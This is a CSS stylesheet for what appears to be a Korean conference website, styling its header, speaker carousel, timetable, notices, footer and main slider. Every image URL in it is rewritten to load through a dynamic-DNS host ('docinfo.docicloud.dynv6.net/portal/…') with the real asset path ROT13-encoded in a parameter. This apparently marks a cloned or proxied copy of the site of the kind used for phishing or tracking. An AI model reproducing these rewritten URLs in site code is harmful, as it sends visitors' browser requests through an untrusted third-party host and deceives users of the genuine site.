@charset "utf-8";

:root {--menu-key-color: #0095e9; --key-color :#3A89FF; }
body,h1,h2,h3,h4,h5,h6,li,a,textarea,div,p,span,td,input,select {font-family: 'Pretendard', sans-serif; letter-spacing: -0.03em; line-height: 1em;}
img {width: 100%;}
.container {width:100%; padding: 0 20px; max-width: 1280px; margin: 0 auto; position: relative;}
.mobile_only {display: none;}

/*헤더*/
#header {position:fixed; top:0; left:0; z-index:1111000; width:100%;}
#header_pc {overflow:hidden;  height:120px; /*background:#fff; */ transition:all 0.4s; border-bottom: 1px solid rgba(255, 255, 255, 0.2);}
#header_pc .inwrap {position:relative; width:92%; max-width:1820px; margin:auto;padding-left: 100px;}
#header .logo a {display:block; /*width:133px; height:100px;*/ width: 100px; height: 75px;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_ybtb2.cat') no-repeat center/cover;}
#header_pc .logo {position:absolute; top:18px; left:0; transition:all 0.2s;}
#header_pc .util_link {display:flex; gap:22px; position:absolute; right:98px; top:43px;}
#header_pc .util_link a {display:block; font-size:12px;}
#header_pc .util_link a:hover {font-weight:600; }
.lang_wrap {position:relative; z-index:10; width:92%; max-width:1820px; margin:auto;}
.lang_wrap .lang {position:absolute; top:40px; right:0; transition:all 0.2s;}
.lang_wrap .lang > button {position:relative; padding-left:30px; padding-right:22px; border:0; line-height:24px; font-size:12px; font-weight:700; color:#fff; letter-spacing:0; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat_juvgr.fit') transparent no-repeat 0 center;}
.lang_wrap .lang > button::after {position:absolute; top:50%; right:0; width:10px; height:8px; margin-top:-4px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat_nee_juvgr.fit') transparent no-repeat center/contain; content:'';}
.lang_wrap .lang .sub {position:absolute; top:24px; left:50%; width:110px; margin-left:-55px; padding-top:11px;}
.lang_wrap .lang ul {display:none; padding:10px; border: 1px solid #E7E7E7; border-radius:10px; background:#fff; box-shadow: 0px 4px 4px 0px rgba(0, 0, 0, 0.06);} 
.lang_wrap .lang li+li {margin-top:10px;}
.lang_wrap .lang ul a {display:block; padding-left:27px; line-height:20px; font-size:12px; font-weight:700; color:#222; background:no-repeat 0 center; }
.lang_wrap .lang ul a:hover {color:#004098;}
.lang_wrap .lang .kr a {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_xe.fit');}
.lang_wrap .lang .en a {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ra.fit');}
#header_pc .gnb_list {display:flex; max-width:1050px; margin:auto; text-align:center;}
#header_pc .gnb_list > li {flex:1; display:flex; flex-direction:column;}
/*#header_pc .gnb_list > li > a {display:block; line-height:120px; font-size:20px; font-weight:600; color: #fff; transition:all 0.2s;}*/
#header_pc .gnb_list > li > a {display: flex; line-height: 1.2; min-height: 120px; align-items: center; justify-content:center; font-size: 20px; font-weight: 600; color: #fff; transition: all 0.2s; white-space:nowrap}
#header_pc .gnb_list > li.active > a { /* color: var(--menu-key-color) !important; */}
#header_pc .gnb_list > li:hover > a { color: var(--menu-key-color) !important; background: #f7f8fc;}
#header_pc .gnb_list > li:hover > .sub {background: #f7f8fc; }
#header_pc .gnb_list .sub {flex:1; min-height:215px; padding:0 0 50px; opacity: 0;  transition:all 0.2s; }
#header.open #header_pc .gnb_list .sub {opacity: 1;}
#header_pc .gnb_list .sub a {display:block; padding:10px; line-height:1.2; font-size:16px; font-weight:500; word-break:keep-all; transition:all 0.2s;}
#header_pc .gnb_list .sub a:hover {color:var(--menu-key-color) !important; font-weight:600; text-decoration: underline; text-underline-offset: 3px;}
#header_pc .gnb_list .sub .long {padding: 0 20px;}
#header.main #header_pc {color:#fff; background:transparent; border-bottom: 1px solid rgba(255, 255, 255, 0.2);}
#header.main .lang > button {color:#fff;}
#header.main .lang > button {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat_juvgr.fit')}
#header.main .lang > button::after {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat_nee_juvgr.fit')}
#header.open #header_pc {height:384px;  color:#222; background:#fff;}
#header.open #header_pc::before {opacity:1;}
#header.open .lang > button {color:#222; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat.fit')}
#header.open .lang > button::after {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat_nee_oynpx.fit')}
#header.open #header_pc .gnb_list > li > a {color: #222;}
#header.fixed_top #header_pc {color:#222; background:#fff; height: 90px; box-shadow: 1px 1px 5px rgba(0, 0, 0, 0.1);}
#header.fixed_top #header_pc::before {opacity:1;}
#header.fixed_top .lang > button {color:#222; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat.fit')}
#header.fixed_top .lang > button::after {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat_nee_oynpx.fit')}
#header.fixed_top #header_pc .gnb_list > li > a {color: #222; line-height: 90px; min-height: 80px;}
#header.fixed_top.open #header_pc {height:350px; }
#header.fixed_top #header_pc .logo {top: 8px; transform: scale(0.9);}
#header.fixed_top .lang_wrap .lang {top: 30px;}
#header_mobile {display:none;}
#header.open .logo a,
#header.fixed_top .logo a { background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_ybtb2_bire.cat') no-repeat center/cover;}



html[lang="en"] #header_pc .gnb_list {max-width: 1150px;}
html[lang="en"] #header_pc .gnb_list > li { flex: unset; padding: 0 ;}
html[lang="en"] #header_pc .gnb_list > li > a {padding: 0 50px;}



/*메인*/
.main_visual {padding-top: 200px; padding-left: 20px; padding-right: 20px; /*background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Stenqvrag_ot.wct);*/ background-size: cover; background-position: bottom center; text-align: center; position: relative;height: 100%;}
.main_visual .main_year_title {position: relative; padding-bottom: 60px;margin-bottom: 60px;display: flex; justify-content: center;z-index: 2;}
.main_visual .main_year_title:after {content: ""; position: absolute;	bottom: 0;	left: 50%;	transform: translateX(-50%);	width: 80px;	height: 1px;	background: #fff;}
.main_visual .heading {margin-bottom: 30px;position: relative;z-index: 2;}
.main_visual .heading .title {font-size: 38px; margin-top: 0.4em; margin-bottom:1.1em;word-break:  keep-all; line-height: 1.4em;color: #fff;}
.main_visual .heading .desc {font-size: 32px; color: #fff; font-weight: 600;}
.main_visual .heading .date_location {font-size: 24px; color: #fff; font-weight: 200;}
.main_visual .heading .date_location b {font-size: 44px; font-weight: 400;}
.main_visual .heading .date_location.en {padding-bottom: 40px;}
.main_visual .main_year_title img {max-width: 1271px;}
.main_visual .main_viz_btn_wra {display: flex;  justify-content: center;  align-items: center; gap: 20px;  padding-top: 0;  padding-bottom: 60px;position: relative;}
.main_visual .main_viz_btn_wra .btn {display: inline-flex; justify-content: center;  align-items: center;  font-size: 18px;  color: #fff;  padding: 0.8em 2.5em;  background: #ddd; font-weight: 600;  border-radius: 50px;   height: auto;}
.main_visual .main_viz_btn_wra .btn .icon {display: inline-block;  width: 24px;  height: 24px;  margin-right: 0.5em; background-size: cover;}
.main_visual .main_viz_btn_wra .btn.normal { /* background: rgba(0, 188, 252, 0.5); */ background: transparent;  border: 2px dashed #fff;  cursor: default;}
.main_visual .main_viz_btn_wra .btn.link {background: #002C93; border: 2px solid #002C93; transition: all 0.15s;}
.main_visual .main_viz_btn_wra .btn.link:hover {/*transform: scale(1.1); */background: #023fcf;  border: 2px solid #023fcf;  box-shadow: 2px 2px 5px rgba(0, 0, 0, 0.5);}
.main_visual .main_viz_btn_wra .btn .date {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Spnyraqne_vpba.cat); } 
.main_visual .main_viz_btn_wra .btn .loc {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznc_vpba.cat); } 
.main_visual .main_viz_btn_wra .btn .info {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Ssvyr_vpba.cat); } 
.main_visual .ft_desc {position: relative; padding-top: 120px;padding-bottom: 50px; z-index: 1;}
.main_visual .ft_desc .year_mark {position: absolute; left: 0; bottom: 0; z-index: -1; display: flex;  justify-content: center;  width: 100%;}
.main_visual .ft_desc .year_mark img {max-width: 1280px;}
.main_visual .ft_desc .title {font-size: 28px; line-height: 1.4em; margin-bottom: 1.2em; word-break: keep-all; color:#fff}
.main_visual .ft_desc .desc {font-size: 18px;  line-height: 1.8em; margin-bottom: 3em; word-break: keep-all; color:#fff}
.main_visual .ft_desc .regi_info {display: inline-block; font-size: 32px; font-weight: 600; position: relative;  padding-bottom: 0.4em; margin-bottom: 1.2em;  border-bottom: 3px solid #fff;  color:#fff}
.main_visual .link_wrap {display: flex ;      align-items: center;      justify-content: center;}
.main_visual .link_wrap a {display: inline-flex; font-size: 24px; width: 90px;   height: 90px;   align-items: center;   justify-content: center;      position: relative;color: #fff;}
.main_visual .link_wrap a span {display: inline-block; width:30px; height:35px;  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Syvax_neebj.cat); background-size: cover; }

.main_visual .link_wrap a:after {content: "";  position: absolute;  top: 0;  left: 0;  width: 100%;  height: 100%;background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_ertv_oga_pvepyr_juvgr.cat); background-size: cover; animation: 7s circle_text infinite linear;}
.main_visual .link_wrap a:hover span {animation: 1s updown_ani infinite;}
.main_visual #containers {position: absolute; top: 0; left: 0; 	width: 100%;	height: 100%;}
.main_visual canvas {position: absolute; top: 0; left: 0; 	width: 100% !important;	height: 100% !important;}
@keyframes circle_text {
  0% {
    transform: rotate(-360deg);
  } 
  100% {
  transform: rotate(0);
  }
}

@keyframes updown_ani {
  0% {
    transform: translateY(0);
  } 

  50% {
  transform: translateY(8px);
  }

	100% {
		transform: translateY(0);
}

}



.main_speakers {padding: 120px 0 120px;background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_fcrnxref_ot.fit); background-size: 100%; background-repeat: no-repeat;  background-position: top left; text-align: center;}
.mid_sub_title_head {font-size: 20px; margin-bottom: 1.2em;text-align: center;}
.mid_sub_title {font-size: 55px;font-family: 'Futura Md BT'; text-align: center;}
.main_btn_wrap {display: flex;			align-items: center;			justify-content: center;			gap: 10px;}
.round_btn {display: inline-flex;			font-size: 16px;			background: #EDEEF0;			padding: 0 2em;			height: 2.8em;			justify-content: center;			align-items: center;			border-radius: 50px;			transition: all 0.15s;}
.round_btn:hover {color:#fff; background:var(--key-color);}
.main_btn_wrap.speakers {padding: 40px 0 80px;}
.main_spk_list { /*display: flex; 	gap: 90px; flex-wrap: wrap;margin: 0 auto; max-width: 85%;justify-content: center; */}
.main_spk_list .slick-slide {padding: 15px;}
.main_spk_list .spk_box {width: calc((100% - 180px) / 3); position: relative;}
.spk_box a {display: block; position: relative;}
.spk_box .photo { max-height: 355px; border-radius: 10px;	overflow: hidden;	margin-bottom: 30px; transition: all 0.3s; -webkit-backface-visibility: hidden;  -moz-backface-visibility: hidden;  -webkit-transform: translate3d(0, 0, 0);  -moz-transform: translate3d(0, 0, 0);position: relative;}
.spk_box .photo img {	display: block;  width: 100%; height: 100%;	object-fit: cover;}
.spk_box .prf {position: absolute; 	bottom: 20px;	left: 0;	font-size: 16px; line-height: 1.2em;	text-align: left;	color: #fff;	transform: translateY(20px);	opacity: 0;	transition: all 0.2s; padding: 0 20px;	word-break: keep-all;}
.spk_box .spk_name { position: absolute; top: 20px; left: 20px; text-align: left; 	padding-left: 20px;	border-left: 3px solid #222;transition: all 0.2s;}
.spk_box .spk_name .b_name {font-size: 18px; font-weight: 700;margin-bottom: 0.3em; color:#111; transition: all 0.3s;transition: all 0.2s;}
.spk_box .spk_name .s_name {font-size: 14px; color: #222;font-weight: 300; transition: all 0.2s;  display: none;}
.spk_box .overlay {position: absolute; 	top: 0;	left: 0;	width: 100%;	height: 100%;	background: rgb(35 160 202);	opacity: 0; transition: all 0.2s;}
.spk_box a:hover .spk_name {border-color: #fff;}
.spk_box a:hover .b_name {color:#fff}
.spk_box a:hover .s_name {color:#fff}
.spk_box a:hover .prf {opacity: 1; transform: translateY(0);}
.spk_box a:hover .overlay {opacity: 0.6;}

.main_spk_list .slick-slide .spk_sub_mid_tit {display: flex;font-size: 20px; margin-bottom: 1em;gap: 10px;text-align: left;position: absolute; top: 0; left: 0;}
.main_spk_list .slick-slide .spk_sub_mid_tit b {color:var(--key-color)}
.main_spk_list .slick-slide .spk_sub_mid_tit em {font-style: normal; display:none}
.main_spk_list .slick-slide .spk_box {padding-top: 40px;}
.main_spk_list .slick-prev:before, .main_spk_list .slick-next:before  {content:none}
.main_spk_list .slick-prev, .main_spk_list .slick-next {width: 60px; height: 60px; border-radius: 100%; }
.main_spk_list .slick-prev,.main_spk_list .slick-prev:focus {left: -80px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sfho%2Sznva_uyv_yrsg_neej.cat) no-repeat center #eaeaea;}
.main_spk_list .slick-next, .main_spk_list .slick-next:focus{right:-80px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sfho%2Sznva_uyv_evtug_neej.cat) no-repeat center #eaeaea;}
.main_spk_list .slick-prev:hover { background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sfho%2Sznva_uyv_yrsg_neej.cat) no-repeat center #ddd !important;}
.main_spk_list .slick-next:hover { background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sfho%2Sznva_uyv_evtug_neej.cat) no-repeat center #ddd !important;}



.spk_box .special {    display: inline-flex;	gap: 8px;		justify-content: center;			align-items: center;			font-size: 15px;			color: #fff;			background: var(--key-color);			height: 2.6em;			padding: 0 1.5em;			border-radius: 30px;	border-bottom-right-radius: 0;	box-shadow: 0 2px 5px rgba(0, 0, 0, 0.5);		text-transform: uppercase;			position: absolute;			right: 0;			top: -1.5em; z-index: 5;}
.spk_box .special b {display: inline-block;	width: 7px;	height: 7px;	background: #fff;	border-radius: 100%;}
.main_timetable {padding: 120px 0 120px; background:#F7F8FC ; }
.round_btn.on {color:#fff; background:var(--key-color);}
.main_btn_wrap.timetable {padding: 30px 0 40px;}
.main_time_table_contents {margin: 0 auto; /*max-width: 85%;*/ width: 100%;}
.main_time_table_contents dl {display: flex; margin-bottom: 10px;}
.main_time_table_contents dt {display: flex;			justify-content: center;			align-items: center;			font-size: 18px;			font-weight: 700;			width: 280px;			padding: 1.22em 0;			background: #e4ebf8;			border-radius: 10px;			box-shadow: 1px 1px #bed1ef;}
.main_time_table_contents dd {width: calc(100% - 280px); display: flex; flex-wrap: wrap; gap: 5px;}
.main_time_table_contents .t_box {width: 100%; padding: 25px 0;  margin-left: 5px;background: #fff;	display: flex;	align-items: center;border-radius: 10px;	box-shadow: 1px 1px #e5e7ec;}
.main_time_table_contents .t_title {font-size: 17px; width: 280px;	padding-left: 2em;}
.main_time_table_contents .t_contents {font-size: 15px; color: #555;	padding-left: 2.3em;	padding-right: 2em; position: relative;}
.main_time_table_contents .t_contents::after {content: ""; 	position: absolute;	left: 0;	top: 50%;	transform: translateY(-50%);	width: 1px;	height: 1.3em;	background: #ddd;}
.main_time_table_contents .t_contents li {margin-bottom: 0.6em; line-height: 1.4em;}
.main_time_table_contents .t_contents li:last-child {margin-bottom: 0;}
.main_time_table_contents .t_contents li b {color: #222; font-weight: 600;}
.main_timetable.program .sub_content_section {row-gap: 0;}
.main_timetable.program .table_wrap tr:last-child {border-bottom: 1px solid #111;}
.main_timetable.program .--timetable .table_wrap td.align_c {width: 22.5%;} 
.main_partners {padding: 120px 0 120px;}
.main_btn_wrap.partners {padding: 30px 0 40px;}
.main_partners_contents .swiper-slide {width:260px;}
.main_partners_contents .partner_swiper {overflow: hidden; margin-bottom: 20px;}
.main_partners_contents .partner_swiper:last-child {margin-bottom: 0;}
.main_partners_contents .swiper-wrapper {transition-timing-function:linear !important}
.main_notice  {padding: 120px 0 120px; background: #111; border-bottom: 1px solid rgba(255, 255, 255, 0.2);}
.main_notice .sub_title {color: #fff;font-size: 30px;	padding-left: 30px;}
.main_notice .flex_wrap {display: flex; flex-wrap: wrap;	gap: 50px;}
.main_notice .notice_box  {width: calc((100% - 50px) / 2); position: relative;}
.main_notice .notice_box .view_more {position: absolute; right: 30px;	top: 15px;	color: #B3B3B3;	font-size: 15px;	transition: all 0.15s;}
.main_notice .notice_box .view_more:hover {color: #fff; font-weight: 700;}
.main_notice .lat {padding-top: 30px;}
.main_notice .lat li a {display: flex;	font-size: 18px;	padding: 1.6em 1.75em 1.6em 1.5em;		flex-direction: column;		border-radius: 10px;		background: #111;		border: 1px solid #111; position: relative; transition: all 0.15s;}
.main_notice .lat li a:hover {border: 1px solid #000DFF; background: #303030;}
.main_notice .lat li h3 {color: #fff; font-weight: 500; margin-bottom: 0.6em;overflow: hidden; 	text-overflow: ellipsis;	padding-right: 2em;	white-space: nowrap;}
.main_notice .lat li .lt_date {font-size: 0.7em; color: #BCBCBC;}
.main_notice .lat li .wrap {position: relative;margin-bottom: 1px;}
.main_notice .lat li .wrap:after {content: ""; position: absolute;bottom: -1.7em;	left: 0; width: 100%;	height: 1px;	background: rgba(255, 255, 255, 0.2);}
.main_notice .lat li a:after {content: "+";	position: absolute; right: 0.8em;	top: 50%;	transform: translateY(-50%);	color: #fff;	font-size: 2em;	font-weight: 100;	font-family: sans-serif;}
.main_notice .lat li a:hover .wrap:after {content: none;}
.main_notice .empty_li {text-align: center; color: #aeb3b3; font-size: 14px;}



/*footer*/
#ft {background: #111111; padding-bottom: 80px;position: relative;}
.footer_link_wrap { /*border-top: 1px solid rgba(255, 255, 255, 0.2);*/	border-bottom: 1px solid rgba(255, 255, 255, 0.2);}
.footer_link_wrap .flex_wrap {display: flex; flex-wrap: wrap;	justify-content: center;	align-items: center;border-left: 1px solid rgba(255, 255, 255, 0.2);}
.footer_link_wrap .link_btn {width: 25%;	display: flex;	align-items: center;	justify-content: center;	font-size: 15px;	color: #fff;	height: 3.75em;	border-right: 1px solid rgba(255, 255, 255, 0.2);	transition: all 0.15s; font-weight: 300;}
.footer_link_wrap .link_btn:hover {background: var(--key-color); color: #fff;}
.footer_info_wrap {padding-top: 60px;text-align: center;}
.footer_info_wrap p {font-size: 14px; 	color: #B1B1B1;	line-height: 1.8em;}
.footer_info_wrap a {color: inherit;}
.footer_info_wrap .tel {text-decoration: none; cursor: default;}
.footer_info_wrap .mail:hover {color: #fff;}
.footer_info_wrap  .copyright {padding-top: 2em;}
.footer_sns_wrap {padding-top: 50px;}
.footer_sns_wrap .flex_wrap {display: flex; flex-wrap: wrap;	justify-content: center;	align-items: center; gap:30px}
.footer_sns_wrap .sns_btn {display: flex;			justify-content: center;			align-items: center;			width: 50px;			height: 50px;			border-radius: 100%;			border: 1px solid rgba(255, 255, 255, 0.2);		transition: all 0.15s;}
.footer_sns_wrap .sns_btn i {display: block;	transition: all 0.15s;}
.footer_sns_wrap .ytb i {	width: 26px;	height: 26px;	background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Slgo_vpba.cat) no-repeat center / 100%;}
.footer_sns_wrap .fb i {	width: 13px;		height: 26px;		background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sso_vpba.cat) no-repeat center / 100%;}
.footer_sns_wrap .insta i {	width: 26px;		height: 26px;			background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svafgn_vpba.cat) no-repeat center / 100%;}
.footer_sns_wrap .sns_btn:hover {background: var(--key-color); border: 1px solid var(--key-color);}








/* 메인 슬라이더 경우 */
.main_slider_a {overflow: hidden; margin:0 !important; width: 100%;   height: 100vh;  max-height:1080px}
.main_slider_a .slick-slide {  height: 100%; position: relative;  background-size: cover;  background-position: center; }
.main_slider_a .slick-dots {  bottom: 30px; }
.main_slider_a .slick-dots li {  width: auto;   height: auto; }
.main_slider_a .slick-dots li button {  width: 16px;  height: 6px;   background: rgba(255,255,255,0.4);   border-radius: 10px;  padding: 0; }
.main_slider_a .slick-dots li.slick-active button {  width: 40px;  background: #fff; }
.main_slider_a .slick-dots li button:before {content:none}

.main_slider_a .slick-prev, .main_slider_a .slick-next {  bottom: 42%;  width: 70px;   height: 70px;   z-index: 10;  border-radius: 100%;}
.main_slider_a .slick-next {  right: 15px; }
.main_slider_a .slick-next {  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sarkg_oga_gbc.cat) no-repeat 52% 50% rgba(255,255,255,0.2) !important; }
.main_slider_a .slick-next:hover {  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sarkg_oga_gbc.cat) no-repeat 52% 50% rgba(255,255,255,0.4) !important; }
.main_slider_a .slick-prev {  left: 15px; }
.main_slider_a .slick-prev {  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sceri_oga_gbc.cat) no-repeat 48% 50% rgba(255,255,255,0.2) !important;}
.main_slider_a .slick-prev:hover {  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sceri_oga_gbc.cat) no-repeat 48% 50% rgba(255,255,255,0.4) !important;}
.main_slider_a .slick-prev:before, .main_slider_a .slick-next:before {content:none}

.main_slider_a .main_visual .ft_desc {padding-bottom: 150px;}
.main_slider_a_wrap {position:relative; overflow: hidden; }
.main_slider_a_wrap .link_wrap {display: flex; 	align-items: center;		position: absolute;	right: 15px;bottom: 40px;	z-index: 10;}
.main_slider_a_wrap .link_wrap a {display: inline-flex; font-size: 24px; width: 90px;   height: 90px;   align-items: center;   justify-content: center;      position: relative;color: #fff;}
.main_slider_a_wrap .link_wrap a span {display: inline-block; width:30px; height:35px;  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Syvax_neebj.cat); background-size: cover; }
.main_slider_a_wrap .link_wrap a:after {content: "";  position: absolute;  top: 0;  left: 0;  width: 100%;  height: 100%;background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_ertv_oga_pvepyr_juvgr.cat); background-size: cover; animation: 7s circle_text infinite linear;}
.main_slider_a_wrap .link_wrap a:hover span {animation: 1s updown_ani infinite;}

.slide_over_txt_wrap {position: absolute; top: 50%;	transform: translateY(-50%);	left: 0;	width: 100%;}
.slide_over_txt_wrap .inner_wrap {width: 100%; padding-left: 80px; margin: 0 auto; max-width: 1500px;}
.slide_over_txt_wrap .main_year_title {position: relative; padding-bottom: 40px; display: flex; justify-content: flex-start; z-index: 2;}
.slide_over_txt_wrap .main_year_title:after {/*content: ""; position: absolute;	bottom: 0;	left: 50%;	transform: translateX(-50%);	width: 80px;	height: 1px;	background: #fff; */}
.slide_over_txt_wrap .heading {margin-bottom: 30px;position: relative;z-index: 2;}
.slide_over_txt_wrap .heading .title {font-size: 30px; margin-bottom:1.1em;word-break:  keep-all; line-height: 1.4em;color: #fff;}
.slide_over_txt_wrap .heading .desc {font-size: 32px; color: #fff; font-weight: 600;}
.slide_over_txt_wrap .heading .date_location {font-size: 20px; color: #fff; font-weight: 200;}
.slide_over_txt_wrap .heading .date_location b {font-size: 2em; font-weight: 400;}
.slide_over_txt_wrap .main_year_title img {max-width: 700px;}
.slide_over_txt_wrap a {display: inline-flex;			font-size: 20px;			color: #fff;			margin-top: 1.8em;			background: var(--key-color);			padding: 0 1.5em;			height: 3em;			justify-content: center;			align-items: center;			border-radius: 3px;}
.slide_over_txt_wrap a:hover {background:#0d68f0}
.slide_over_txt_wrap .btn_wrap {display: flex; column-gap: 20px; flex-wrap: wrap;}


.main_slider_a .main_visual {height: 100vh; max-height:1080px;  padding-bottom: 250px; background-position: center !important;}
.main_slider_a .main_visual::after {content:"";position: absolute; left: 0; top:0; width: 100%; height: 100%; background: rgba(0,0,0,0.4); z-index: 1;}


.main_slider_a .slide_01 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_01.wct)}
.main_slider_a .slide_02 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_02.wct)}
.main_slider_a .slide_03 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_03.wct)}
